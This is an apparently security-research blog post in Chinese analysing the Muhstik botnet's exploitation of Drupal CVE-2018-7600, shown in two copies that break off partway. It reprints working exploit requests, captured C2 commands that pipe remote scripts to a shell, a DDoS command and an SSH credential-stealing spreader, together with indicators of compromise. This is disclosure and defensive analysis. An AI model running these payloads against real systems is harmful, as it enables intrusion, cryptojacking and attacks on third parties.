hxxp://51.254.221.129/c/bash hxxp://51.254.221.129/c/pty hxxp://51.254.221.129/c/shy hxxp://51.254.221.129/c/nsshtfti hxxp://51.254.221.129/c/nsshcron hxxp://51.254.221.129/c/nsshpftp hxxp://51.254.221.129/c/fbsd hxxp://191.238.234.227/x/aiox86 </code></pre> <p>Muhstik Malware MD5</p> <pre><code>c37016e34304ff4a2a0db1894cdcdb92 #Muhstik样本模块 da17dc1438bb039968a5737c6fbc88cd #Muhstik扫描模块 </code></pre> <!--kg-card-end: markdown-->

2018年3月28日，Drupal.org 公布了漏洞 CVE-2018-7600 的修复方案。Drapal 是一个开源的内容管理系统，由PHP语言写成，有很多网站使用 Drupal 向外提供网页服务。本次漏洞存在于 Drupal 的多个版本中，攻击者可以利用该漏洞完全控制网站。 从2018年4月13日开始，360网络安全研究院观测到互联网上有大量针对该漏洞的扫描。通过分析，我们认为有至少3组恶意软件在利用该漏洞传播。其中一组恶意软件有蠕虫传播行为，感染量显著比其他的恶意软件更多。分析后，我们认为这是一个长期存在的僵尸网络家族。我们将其命名为 muhstik，这主要是因为其二进制文件名和通信协议中多处包含了这个字符串。 我们认为 muhstik 有以下特点值得社区关注： * 蠕虫式传播 * 长期存在 * 使用的漏洞利用数目众多 * 混合使用了多种牟利方式 攻击载荷 按照时间顺序，Muhstik使用了下面两组攻击载荷，这两组载荷占据了全部看到的载荷的80%左右，是我们看到的攻击的主要部分： * 活跃时间：2018-04-14 03:33:06~ 2018-04-17 15:40:58 * 活跃时间：2018-04-16 19:38:39~至今 对应的攻击来源，其 IP 地址非常分散，而且基本都运行着 Drupal 程序。攻击来源自身是攻击载荷的易感染目标，这是蠕虫式传播的重要指标，引起了我们的警觉。 两组攻击载荷的详细信息如下： POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1 Cache-Control: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Host: {target} Content-Type: application/x-www-form-urlencoded Content-length: 2048 form_id=user_register_form&_drupal_ajax=1&mail[#post_render[]=exec&mail[#type]=markup&mail[#markup]=echo "team6 representing 73de29021fd0d8d2cfd204d2d955a46d"|tee t6nv POST /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1 Cache-Control: no-cache Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) Host: {target} Content-Type: application/x-www-form-urlencoded Content-length: 170 form_id=user_register_form&_drupal_ajax=1&mail%5B%23post_render%5D%5B%5D=exec&mail%5B%23type%5D=markup&mail%5B%23markup%5D=wget%20http%3A%2F%2F51.254.219.134%2Fdrupal.php 样本 aiox86 导致了上述攻击载荷 #2 有以下关键样本 da17dc1438bb039968a5737c6fbc88cd aiox86 我们认为上述样本 aiox86 及其相关样本产生了前述攻击载荷： * 攻击载荷，存在于该样本中 * 攻击载荷与 #2 非常相似，我们认为应该是该样本的相关样本产生 下图是样本脱壳后的部分片段，与 #2 攻击载荷完全一致。 事实上，该样本的扫描行为已经比较复杂，远不止前述针对 drupal 漏洞的扫描： * 扫描目标IP地址：会从远端服务器 191.238.234.227 获取目标IP地址，这样攻击者可以对攻击目标有较为灵活的控制； * 投递漏洞载荷：不仅限于 Drupal，还包括另外 6 种漏洞载荷； * 扫描目标端口：不仅限于 TCP 80，还包括TCP端口 8080, 7001, 2004；每个端口上会尝试若干不同载荷； * 扫描结果上报：载荷植入成功后，会访问远端服务器 51.254.219.134 上报，不同载荷访问不同的URL。通过这种方式，攻击者可以很轻易的识别受害者的弱点。 获取扫描目标IP地址： hxxp://191.238.234.227/amazon.php #我们尝试从这个URL上获得了50个网段，均属于Amazon所有 hxxp://191.238.234.227/dedi.php #我们尝试从这个URL上获得了50个网段，所属公司较为分散 所投递的漏洞载荷： ClipBucket：rss.php DasanNetwork Solution：/cgi-bin/index.cgi Drupal:CVE-2018-7600 WebDav Weblogic:CVE-2017-10271 Webuzo:install.php Wordpress:install.php 扫描目标端口与载荷的对应关系： 80：Weblogic，Wordpress，Drupal，WebDav，ClipBucket 2004：Webuzo 7001：Weblogic 8080：Wordpress，WebDav，DasanNetwork Solution 载荷上报信息接口： hxxp://51.254.219.134/clipbucket.php #ClipBucket hxxp://51.254.219.134/dasan.php #DasanNetwork_Solution hxxp://51.254.219.134/dav.php #Webdav hxxp://51.254.219.134/drupal.php #Drupal hxxp://51.254.219.134/oracleaudit.php?port= #Weblogic hxxp://51.254.219.134/tomato.php #http401，用作探测中间状态 hxxp://51.254.219.134/webuzo.php #Webuzo hxxp://51.254.219.134/wp.php #Wordpress 样本aiox86 是由 Muhstik 僵尸网络分发的 在 360网络安全研究院，我们持续的监控诸多僵尸网络的攻击指令。本次我们发现，139.99.101.96:9090 控制服务器，在2018-04-19 04:04附近，通过下述指令分发了样本 aiox86： 上述C2，隶属于 Muhstik 僵尸网络家族。 Muhstik 僵尸网络家族 Muhstik 是 Tsunami 僵尸网络的一个变种，其特点包括： * 代表样本： c37016e34304ff4a2a0db1894cdcdb92 * C2服务器： 域名/IP地址共计11个，见后，端口均为 9090。我们猜测这是为了负载均衡 * 通信协议： 基于IRC服务协议，通过不同的Channel发送不同指令 * IRC Channel：我们观察到有多个IRC Channel，均以 muhstik 开头。目前我们并不完全确认每个C2服务器上具体开通了哪些Channle，这是由IRC协议本身的特性决定的，仅在我们接收到对应Channel里的通信指令时，才能确认攻击者在该服务器上开通了该Channel Muhstik 僵尸网络的结构已经比较复杂了，如前所述，样本中硬编码了11个C2域名/IP。除此之外，其传播和获利方式也多种多样。 Muhstik 的传播模块： * aioscan扫描模块：如前所述，该扫描模块里包含了4个端口上6种扫描载荷 * SSH扫描模块：弱口令扫描 Muhstik 的获利方式： * xmrig 挖矿：挖取XMR数字代币，对应的矿池地址是147.135.208.145:4871，自建矿池。 * cgminer挖矿：挖取BTC数字代币，使用了多个矿池，用户名均为reb0rn.D3 * DDoS 攻击：我们在2018-04-19 当天 07:20~07:40期间，截获多条针对 46.243.189.102 的攻击指令。（在我们的DDoSMon.net没有看到这次攻击，但是看到了较早前针对该IP地址的多次攻击） Muhstik cgminer 钱包和矿池地址： { "url": "stratum+tcp://dash.viabtc.com:443", "user": "reb0rn.D3", "pass": "x" }, { "url": "stratum+tcp://dash.viabtc.com:443", "user": "reb0rn.D3", "pass": "x" }, { "url": "stratum+tcp://dash.viabtc.com:443", "user": "reb0rn.D3", "pass": "x" } Muhstik C2 列表，按照其在样本中硬编码的顺序： 139.99.101.96:9090 AS16276 OVH SAS 144.217.84.99:9090 AS16276 OVH SAS 145.239.84.0:9090 AS16276 OVH SAS 147.135.210.184:9090 AS16276 OVH SAS 142.44.163.168:9090 AS16276 OVH SAS 192.99.71.250:9090 AS16276 OVH SAS 142.44.240.14:9090 AS16276 OVH SAS 121.128.171.44:9090 AS4766 Korea Telecom #当前未生效 66.70.190.236:9090 AS16276 OVH SAS #当前未生效 145.239.93.125:9090 AS16276 OVH SAS irc.de-zahlung.eu:9090 #当前未生效 IRC Channel，字母序： #muhstik #muhstik-i586 #muhstik-SSH #muhstik-x86 我们监听这些 IRC Channel时获取到若干指令，部分指令如下，截图依次见后： #muhstik-x86 #植入xmrig64挖矿程序； #muhstik-x86 #植入Muhstik.aioscan扫描模块 #muhstik-x86 #探测bot是否有drupal存在 #muhstik #植入Muhstik.aioscan扫描模块 #muhstik #发出DDoS攻击指令； #muhstik-SSH #cgminer 挖矿程序的配置文件； #muhstik-SSH #执行SSH扫描 #muhstik-SSH #窃取本地保存的ssh凭证，进一步横向扩展，投递自身，实现蠕虫式传播 #muhstik-i586 #植入 Muhstik.aioscan #muhstik-i586 #植入xmrig32挖矿程序 #muhstik-x86 #植入xmrig64挖矿程序 :TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!* SH curl http://104.236.26.43/muhstik.sh | sh > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!* SH wget -qO - http://104.236.26.43/muhstik.sh | sh > /dev/null 2>&1 & #muhstik-x86 #植入Muhstik.aioscan扫描模块 :TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!x* SH (wget -c http://191.238.234.227/x/aiox86 -O /tmp/aiox86 ; chmod +x /tmp/aiox86) > /dev/null 2>&1 :TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!x* SH /tmp/aiox86 amazon > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!x* SH /tmp/aiox86 dedi > /dev/null 2>&1 & #muhstik-x86 #探测bot是否有drupal存在 :m!m@null PRIVMSG #muhstik-x86 :!* SH (wc -l autoload.php && echo $(hostname -I | cut -d" " -f 1)) :m!m@null PRIVMSG #muhstik-x86 :!* SH (wc -l autoload.php && echo $(hostname -I | cut -d" " -f 1)) || echo "No drupal" :m!m@null PRIVMSG #muhstik-x86 :!* SH (wc -l autoload.php | grep 17 && echo $(hostname -I | cut -d" " -f 1)) :m!m@null PRIVMSG #muhstik-x86 :(wc -l autoload.php && echo $(hostname -I | cut -d" " -f 1)) || echo "No drupal" #muhstik #植入Muhstik.aioscan扫描模块 :TIMERS!tcl@localhost PRIVMSG #muhstik :!A* SH /tmp/aioarm amazon > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik :!A* SH /tmp/aioarm dedi > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik :!A* SH (wget -c http://191.238.234.227/x/aioarm -O /tmp/aioarm ; chmod +x /tmp/aioarm) > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik :!Mps|* SH /tmp/aiomipsel amazon > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik :!Mps|* SH /tmp/aiomipsel dedi > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik :!Mps|* SH (wget -c http://191.238.234.227/x/aiomipsel -O /tmp/aiomipsel ; chmod +x /tmp/aiomipsel) > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik :!M|* SH /tmp/aiomips amazon > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik :!M|* SH /tmp/aiomips dedi > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik :!M|* SH (wget -c http://191.238.234.227/x/aiomips -O /tmp/aiomips ; chmod +x /tmp/aiomips) > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik :!PPC|* SH /tmp/aioppc amazon > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik :!PPC|* SH /tmp/aioppc dedi > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik :!PPC|* SH (wget -c http://191.238.234.227/x/aioppc -O /tmp/aioppc ; chmod +x /tmp/aioppc) > /dev/null 2>&1 & #muhstik #发出DDoS攻击指令； :m!m@null PRIVMSG #muhstik :!* STD 46.243.189.102 127 60 XXXXXXXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*0|* STD 46.243.189.102 127 30 XXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*1|* STD 46.243.189.102 127 30 XXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*2|* STD 46.243.189.102 127 30 XXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*3|* STD 46.243.189.102 127 30 XXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*4|* STD 46.243.189.102 127 30 XXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*5|* STD 46.243.189.102 127 30 XXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*6|* STD 46.243.189.102 127 30 XXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*7|* STD 46.243.189.102 127 30 XXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*8|* STD 46.243.189.102 127 30 XXXX :TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*9|* STD 46.243.189.102 127 30 XXXX #muhstik-SSH #cgminer 挖矿程序的配置文件 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep D3 && ( wget -qO - http://51.254.221.129/cgminer.x11.conf > /config/cgminer.conf && /etc/init.d/cgminer.sh restart ) > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep L3 && ( wget -qO - http://51.254.221.129/cgminer.scrypt.conf > /config/cgminer.conf && /etc/init.d/cgminer.sh restart )> /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep S4 && (cgminer-api "addpool|stratum+tcp://bch.viabtc.com:443,reborn.api,x" && cgminer-api "switchpool|3" ) > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep S5 && (cgminer-api "addpool|stratum+tcp://bch.viabtc.com:443,reborn.api,x" && cgminer-api "switchpool|3" ) > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SH tail -n1 /usr/bin/compile_time | grep S7 && ( wget -qO - http://51.254.221.129/cgminer.sha256.conf > /config/cgminer.conf && /etc/init.d/cgminer.sh restart) > /dev/null 2>&1 & #muhstik-SSH #窃取本地保存的ssh凭证，进一步横向扩展，投递自身，实现蠕虫式传播 :m!m@null PRIVMSG #muhstik-ssh :!* SH wget -qO - http://121.127.216.91/multiply/wp-content/plugins/all-in-one-wp-migration/t6ssh | sh > /dev/null 2>&1 & #muhstik-SSH #执行SSH扫描 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 100 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 101 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 102 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 103 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 104 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 106 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 107 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 108 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 110 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 111 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 112 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 113 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 114 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 118 100 25 54.39.23.28 51.254.219.137 :TIMERS!tcl@localhost PRIVMSG #muhstik-ssh :!* SSH 119 100 25 54.39.23.28 51.254.219.137 #muhstik-i586 #植入 Muhstik.aioscan :TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!i* SH (wget -c http://191.238.234.227/x/aioi586 -O /tmp/aioi586 ; chmod +x /tmp/aioi586) > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!i* SH /tmp/aioi586 amazon > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!i* SH /tmp/aioi586 dedi > /dev/null 2>&1 & #muhstik-i586 #植入xmrig32挖矿程序 :TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!* SH wget -qO - http://104.236.26.43/xmrt32.sh | sh > /dev/null 2>&1 & :TIMERS!tcl@localhost PRIVMSG #muhstik-i586 :!* SH curl http://104.236.26.43/xmrt32.sh | sh > /dev/null 2>&1 & Muhstik 可能来源已久 通过对 Muhstik 相关域名的历史溯源，我们发现 Muhstik 由来已久，跟以下域名有较为强烈的关联关系。 dasan.deutschland-zahlung.eu 134.ip-51-254-219.eu uranus.kei.su wireless.kei.su www.kei.su y.fd6fq54s6df541q23sdxfg.eu IoC Muhstik C2 List 139.99.101.96:9090 AS16276 OVH SAS 144.217.84.99:9090 AS16276 OVH SAS 145.239.84.0:9090 AS16276 OVH SAS 147.135.210.184:9090 AS16276 OVH SAS 142.44.163.168:9090 AS16276 OVH SAS 192.99.71.250:9090 AS16276 OVH SAS 142.44.240.14:9090 AS16276 OVH SAS 121.128.171.44:9090 AS4766 Korea Telecom #当前未生效 66.70.190.236:9090 AS16276 OVH SAS #当前未生效 145.239.93.125:9090 AS16276 OVH SAS irc.de-zahlung.eu:9090 #当前未生效 Muhstik Malware URL hxxp://51.254.221.129/c/cron hxxp://51.254.221.129/c/tfti hxxp://51.254.221.129/c/pftp hxxp://51.254.221.129/c/ntpd hxxp://51.254.221.129/c/sshd hxxp://51.254.221.129/c/bash hxxp://51.254.221.129/c/pty hxxp://51.254.221.129/c/shy hxxp://51.254.221.129/c/nsshtfti hxxp://51.254.221.129/c/nsshcron hxxp://51.254.221.129/c/nsshpftp hxxp://51.254.221.129/c/fbsd hxxp://191.238.234.227/x/aiox86 Muhstik Malware MD5 c37016e34304ff4a2a0db1894cdcdb92 #Muhstik样本模块 da17dc1438bb039968a5737c6fbc88cd #Muhstik扫描模块

{"version":"0.3.1","atoms":[],"cards":[["markdown",{"cardName":"card-markdown","markdown":"2018年3月28日，Drupal.org 公布了漏洞 CVE-2018-7600 的修复方案。Drapal 是一个开源的内容管理系统，由PHP语言写成，有很多网站使用 Drupal 向外提供网页服务。本次漏洞存在于 Drupal 的多个版本中，攻击者可以利用该漏洞完全控制网站。\n\n从2018年4月13日开始，360网络安全研究院观测到互联网上有大量针对该漏洞的扫描。通过分析，我们认为有至少3组恶意软件在利用该漏洞传播。其中一组恶意软件有蠕虫传播行为，感染量显著比其他的恶意软件更多。分析后，我们认为这是一个长期存在的僵尸网络家族。我们将其命名为 muhstik，这主要是因为其二进制文件名和通信协议中多处包含了这个字符串。\n\n我们认为 muhstik 有以下特点值得社区关注：\n\n - 蠕虫式传播\n - 长期存在\n - 使用的漏洞利用数目众多\n - 混合使用了多种牟利方式\n\n#### 攻击载荷\n\n按照时间顺序，Muhstik使用了下面两组攻击载荷，这两组载荷占据了全部看到的载荷的80%左右，是我们看到的攻击的主要部分：\n \n* 活跃时间：2018-04-14 03:33:06~ 2018-04-17 15:40:58\n* 活跃时间：2018-04-16 19:38:39~至今\n\n对应的攻击来源，其 IP 地址非常分散，而且基本都运行着 Drupal 程序。攻击来源自身是攻击载荷的易感染目标，这是蠕虫式传播的重要指标，引起了我们的警觉。\n\n两组攻击载荷的详细信息如下：\n```\nPOST\n/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1\nCache-Control: no-cache\nConnection: keep-alive\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)\nHost: {target}\nContent-Type: application/x-www-form-urlencoded\nContent-length: 2048\nform_id=user_register_form&_drupal_ajax=1&mail[#post_render[]=exec&mail[#type]=markup&mail[#markup]=echo \"team6 representing 73de29021fd0d8d2cfd204d2d955a46d\"|tee t6nv\n```\n\n```\nPOST\n/user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax HTTP/1.1\nCache-Control: no-cache\nConnection: keep-alive\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64)\nHost: {target}\nContent-Type: application/x-www-form-urlencoded\nContent-length: 170\nform_id=user_register_form&_drupal_ajax=1&mail%5B%23post_render%5D%5B%5D=exec&mail%5B%23type%5D=markup&mail%5B%23markup%5D=wget%20http%3A%2F%2F51.254.219.134%2Fdrupal.php\n```\n\n#### 样本 aiox86 导致了上述攻击载荷 #2\n\n有以下关键样本\n```\nda17dc1438bb039968a5737c6fbc88cd aiox86\n```\n\n我们认为上述样本 aiox86 及其相关样本产生了前述攻击载荷：\n\n* 攻击载荷，存在于该样本中\n* 攻击载荷与 #2 非常相似，我们认为应该是该样本的相关样本产生\n\n下图是样本脱壳后的部分片段，与 #2 攻击载荷完全一致。\n\n\n事实上，该样本的扫描行为已经比较复杂，远不止前述针对 drupal 漏洞的扫描：\n\n - 扫描目标IP地址：会从远端服务器 191.238.234.227 获取目标IP地址，这样攻击者可以对攻击目标有较为灵活的控制；\n - 投递漏洞载荷：不仅限于 Drupal，还包括另外 6 种漏洞载荷；\n - 扫描目标端口：不仅限于 TCP 80，还包括TCP端口 8080, 7001, 2004；每个端口上会尝试若干不同载荷；\n - 扫描结果上报：载荷植入成功后，会访问远端服务器 51.254.219.134 上报，不同载荷访问不同的URL。通过这种方式，攻击者可以很轻易的识别受害者的弱点。\n\n获取扫描目标IP地址：\n```\nhxxp://191.238.234.227/amazon.php #我们尝试从这个URL上获得了50个网段，均属于Amazon所有\nhxxp://191.238.234.227/dedi.php #我们尝试从这个URL上获得了50个网段，所属公司较为分散\n```\n\n所投递的漏洞载荷：\n```\nClipBucket：rss.php\nDasanNetwork Solution：/cgi-bin/index.cgi\nDrupal:CVE-2018-7600\nWebDav\nWeblogic:CVE-2017-10271\nWebuzo:install.php\nWordpress:install.php\n```\n\n扫描目标端口与载荷的对应关系：\n```\n80：Weblogic，Wordpress，Drupal，WebDav，ClipBucket\n2004：Webuzo\n7001：Weblogic\n8080：Wordpress，WebDav，DasanNetwork Solution\n```\n\n载荷上报信息接口：\n```\nhxxp://51.254.219.134/clipbucket.php\t#ClipBucket\nhxxp://51.254.219.134/dasan.php\t#DasanNetwork_Solution\nhxxp://51.254.219.134/dav.php\t#Webdav\nhxxp://51.254.219.134/drupal.php\t#Drupal\nhxxp://51.254.219.134/oracleaudit.php?port=\t#Weblogic\nhxxp://51.254.219.134/tomato.php\t#http401，用作探测中间状态\nhxxp://51.254.219.134/webuzo.php\t#Webuzo\nhxxp://51.254.219.134/wp.php\t#Wordpress\n```\n\n#### 样本aiox86 是由 Muhstik 僵尸网络分发的\n\n在 360网络安全研究院，我们持续的监控诸多僵尸网络的攻击指令。本次我们发现，139.99.101.96:9090 控制服务器，在2018-04-19 04:04附近，通过下述指令分发了样本 aiox86：\n\n\n\n上述C2，隶属于 Muhstik 僵尸网络家族。\n\n#### Muhstik 僵尸网络家族\n\nMuhstik 是 Tsunami 僵尸网络的一个变种，其特点包括：\n\n - 代表样本： c37016e34304ff4a2a0db1894cdcdb92\n - C2服务器： 域名/IP地址共计11个，见后，端口均为 9090。我们猜测这是为了负载均衡\n - 通信协议： 基于IRC服务协议，通过不同的Channel发送不同指令\n - IRC Channel：我们观察到有多个IRC Channel，均以 muhstik 开头。目前我们并不完全确认每个C2服务器上具体开通了哪些Channle，这是由IRC协议本身的特性决定的，仅在我们接收到对应Channel里的通信指令时，才能确认攻击者在该服务器上开通了该Channel\n\nMuhstik 僵尸网络的结构已经比较复杂了，如前所述，样本中硬编码了11个C2域名/IP。除此之外，其传播和获利方式也多种多样。\n\nMuhstik 的传播模块：\n\n - aioscan扫描模块：如前所述，该扫描模块里包含了4个端口上6种扫描载荷\n - SSH扫描模块：弱口令扫描\n\nMuhstik 的获利方式：\n\n - xmrig 挖矿：挖取XMR数字代币，对应的矿池地址是147.135.208.145:4871，自建矿池。\n - cgminer挖矿：挖取BTC数字代币，使用了多个矿池，用户名均为reb0rn.D3\n - DDoS 攻击：我们在2018-04-19 当天 07:20~07:40期间，截获多条针对 46.243.189.102 的攻击指令。（在我们的DDoSMon.net没有看到这次攻击，但是看到了较早前针对该IP地址的多次攻击）\n\nMuhstik cgminer 钱包和矿池地址：\n```\n {\n \"url\": \"stratum+tcp://dash.viabtc.com:443\",\n \"user\": \"reb0rn.D3\",\n \"pass\": \"x\"\n },\n {\n \"url\": \"stratum+tcp://dash.viabtc.com:443\",\n \"user\": \"reb0rn.D3\",\n \"pass\": \"x\"\n },\n {\n \"url\": \"stratum+tcp://dash.viabtc.com:443\",\n \"user\": \"reb0rn.D3\",\n \"pass\": \"x\"\n }\n```\n\nMuhstik C2 列表，按照其在样本中硬编码的顺序：\n```\n139.99.101.96:9090\tAS16276 OVH SAS\t\n144.217.84.99:9090\tAS16276 OVH SAS\t\n145.239.84.0:9090\tAS16276 OVH SAS\t\n147.135.210.184:9090\tAS16276 OVH SAS\t\n142.44.163.168:9090\tAS16276 OVH SAS\t\n192.99.71.250:9090\tAS16276 OVH SAS\t\n142.44.240.14:9090\tAS16276 OVH SAS\t\n121.128.171.44:9090\tAS4766 Korea Telecom\t#当前未生效 \n66.70.190.236:9090\tAS16276 OVH SAS\t#当前未生效 \n145.239.93.125:9090\tAS16276 OVH SAS\t\nirc.de-zahlung.eu:9090\t\t#当前未生效 \n```\n\nIRC Channel，字母序：\n```\n#muhstik\n#muhstik-i586\n#muhstik-SSH\n#muhstik-x86\n```\n\n我们监听这些 IRC Channel时获取到若干指令，部分指令如下，截图依次见后：\n```\n#muhstik-x86 #植入xmrig64挖矿程序；\n#muhstik-x86 #植入Muhstik.aioscan扫描模块\n#muhstik-x86 #探测bot是否有drupal存在\n#muhstik #植入Muhstik.aioscan扫描模块\n#muhstik #发出DDoS攻击指令；\n#muhstik-SSH #cgminer 挖矿程序的配置文件；\n#muhstik-SSH #执行SSH扫描\n#muhstik-SSH #窃取本地保存的ssh凭证，进一步横向扩展，投递自身，实现蠕虫式传播\n#muhstik-i586 #植入 Muhstik.aioscan\n#muhstik-i586 #植入xmrig32挖矿程序\n```\n\n\\#muhstik-x86 #植入xmrig64挖矿程序\n```\n:TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!* SH curl http://104.236.26.43/muhstik.sh | sh > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!* SH wget -qO - http://104.236.26.43/muhstik.sh | sh > /dev/null 2>&1 & \n```\n\n\\#muhstik-x86 #植入Muhstik.aioscan扫描模块\n```\n:TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!x* SH (wget -c http://191.238.234.227/x/aiox86 -O /tmp/aiox86 ; chmod +x /tmp/aiox86) > /dev/null 2>&1 :TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!x* SH /tmp/aiox86 amazon > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik-x86 :!x* SH /tmp/aiox86 dedi > /dev/null 2>&1 &\n```\n\n\\#muhstik-x86 #探测bot是否有drupal存在\n```\n:m!m@null PRIVMSG #muhstik-x86 :!* SH (wc -l autoload.php && echo $(hostname -I | cut -d\" \" -f 1))\n:m!m@null PRIVMSG #muhstik-x86 :!* SH (wc -l autoload.php && echo $(hostname -I | cut -d\" \" -f 1)) || echo \"No drupal\"\n:m!m@null PRIVMSG #muhstik-x86 :!* SH (wc -l autoload.php | grep 17 && echo $(hostname -I | cut -d\" \" -f 1))\n:m!m@null PRIVMSG #muhstik-x86 :(wc -l autoload.php && echo $(hostname -I | cut -d\" \" -f 1)) || echo \"No drupal\"\n```\n\n\\#muhstik #植入Muhstik.aioscan扫描模块\n```\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!A* SH /tmp/aioarm amazon > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!A* SH /tmp/aioarm dedi > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!A* SH (wget -c http://191.238.234.227/x/aioarm -O /tmp/aioarm ; chmod +x /tmp/aioarm) > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!Mps|* SH /tmp/aiomipsel amazon > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!Mps|* SH /tmp/aiomipsel dedi > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!Mps|* SH (wget -c http://191.238.234.227/x/aiomipsel -O /tmp/aiomipsel ; chmod +x /tmp/aiomipsel) > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!M|* SH /tmp/aiomips amazon > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!M|* SH /tmp/aiomips dedi > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!M|* SH (wget -c http://191.238.234.227/x/aiomips -O /tmp/aiomips ; chmod +x /tmp/aiomips) > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!PPC|* SH /tmp/aioppc amazon > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!PPC|* SH /tmp/aioppc dedi > /dev/null 2>&1 &\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!PPC|* SH (wget -c http://191.238.234.227/x/aioppc -O /tmp/aioppc ; chmod +x /tmp/aioppc) > /dev/null 2>&1 &\n```\n\n\\#muhstik #发出DDoS攻击指令；\n```\n:m!m@null PRIVMSG #muhstik :!* STD 46.243.189.102 127 60 XXXXXXXXX\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*0|* STD 46.243.189.102 127 30 XXXX\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*1|* STD 46.243.189.102 127 30 XXXX\n:TIMERS!tcl@localhost PRIVMSG #muhstik :!*|*|*2|* 